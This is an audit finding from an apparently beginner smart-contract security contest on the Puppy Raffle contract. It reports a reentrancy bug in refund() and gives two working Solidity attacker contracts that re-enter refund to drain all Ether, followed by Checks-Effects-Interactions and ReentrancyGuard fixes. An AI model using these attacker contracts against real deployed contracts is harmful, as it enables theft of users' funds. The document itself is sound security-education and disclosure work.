Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

[H-2] Reentrancy in PuppyRaffle::refund allows entrants to drain all contract funds

Summary

The refund function performs an external Ether transfer to the caller before updating the internal state (setting the player to address(0)). This allows a malicious contract to re-enter the refund function multiple times within the same transaction, draining the protocol's balance.

Vulnerability Details

The refund function follows an insecure pattern:

  • Check: Verifies the user is active (playerAddress != address(0)).

  • Interaction: Sends ETH to the user (payable(msg.sender).sendValue(entranceFee)).

  • Effect: Updates the state (players[playerIndex] = address(0)).

Because the state is updated after the external call, a malicious contract can define a fallback or receive function that calls refund again. Since the players array has not been updated yet, the require checks pass, and the contract sends the refund again. This loop continues until the contract is drained.

Impact

High. An attacker can drain all Ether held in the PuppyRaffle contract (including funds from other players' entrance fees).

Proof of Concept (PoC)

Paste the following code into your ProofOfCodes.t.sol file.

This PoC creates a malicious contract (ReentrancyAttacker) that enters the raffle and then recursively calls refund to steal funds.

Click to view Foundry Test
// 1. Define the Attacker Contract
contract ReentrancyAttacker {
PuppyRaffle puppyRaffle;
uint256 entranceFee;
uint256 attackerIndex;
constructor(PuppyRaffle _puppyRaffle) {
puppyRaffle = _puppyRaffle;
entranceFee = puppyRaffle.entranceFee();
}
function attack() external payable {
address[] memory players = new address[](1);
players[0] = address(this);
// 1. Enter the raffle
puppyRaffle.enterRaffle{value: entranceFee}(players);
// 2. Find our index (simplified for PoC, assuming index 0 if first)
attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
// 3. Start the attack by asking for a refund
puppyRaffle.refund(attackerIndex);
}
// 4. This function triggers when the contract receives ETH
receive() external payable {
// If the Raffle contract still has money, steal it again!
if (address(puppyRaffle).balance >= entranceFee) {
puppyRaffle.refund(attackerIndex);
}
}
}
// 2. The Test Function
function test_ReentrancyAttack() public {
// Setup: 4 honest players enter first, filling the pot with 4 ETH
address[] memory players = new address[](4);
players[0] = address(1);
players[1] = address(2);
players[2] = address(3);
players[3] = address(4);
puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
// Deploy attacker
ReentrancyAttacker attacker = new ReentrancyAttacker(puppyRaffle);
address attackerAddr = address(attacker);
// Initial Balances
uint256 startingAttackBalance = attackerAddr.balance;
uint256 startingContractBalance = address(puppyRaffle).balance;
// Run the Attack
// Give attacker enough ETH for 1 entrance fee
attacker.attack{value: entranceFee}();
// Results
console.log("Starting Contract Balance:", startingContractBalance);
console.log("Ending Contract Balance:", address(puppyRaffle).balance);
console.log("Attacker Profit:", attackerAddr.balance - startingAttackBalance);
// Assertions: The contract should be empty, and attacker should have more than they started with
assertEq(address(puppyRaffle).balance, 0);
assert(attackerAddr.balance > startingAttackBalance + entranceFee);
}

Recommended Mitigation

Follow the Checks-Effects-Interactions (CEI) pattern. Move the state update (Effect) before the external call (Interaction).

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
// Fix: Update State FIRST (Effect)
players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
// Fix: Send ETH LAST (Interaction)
payable(msg.sender).sendValue(entranceFee);
}

Alternatively, use a ReentrancyGuard modifier (like the one from OpenZeppelin) on the function.


Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 2 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

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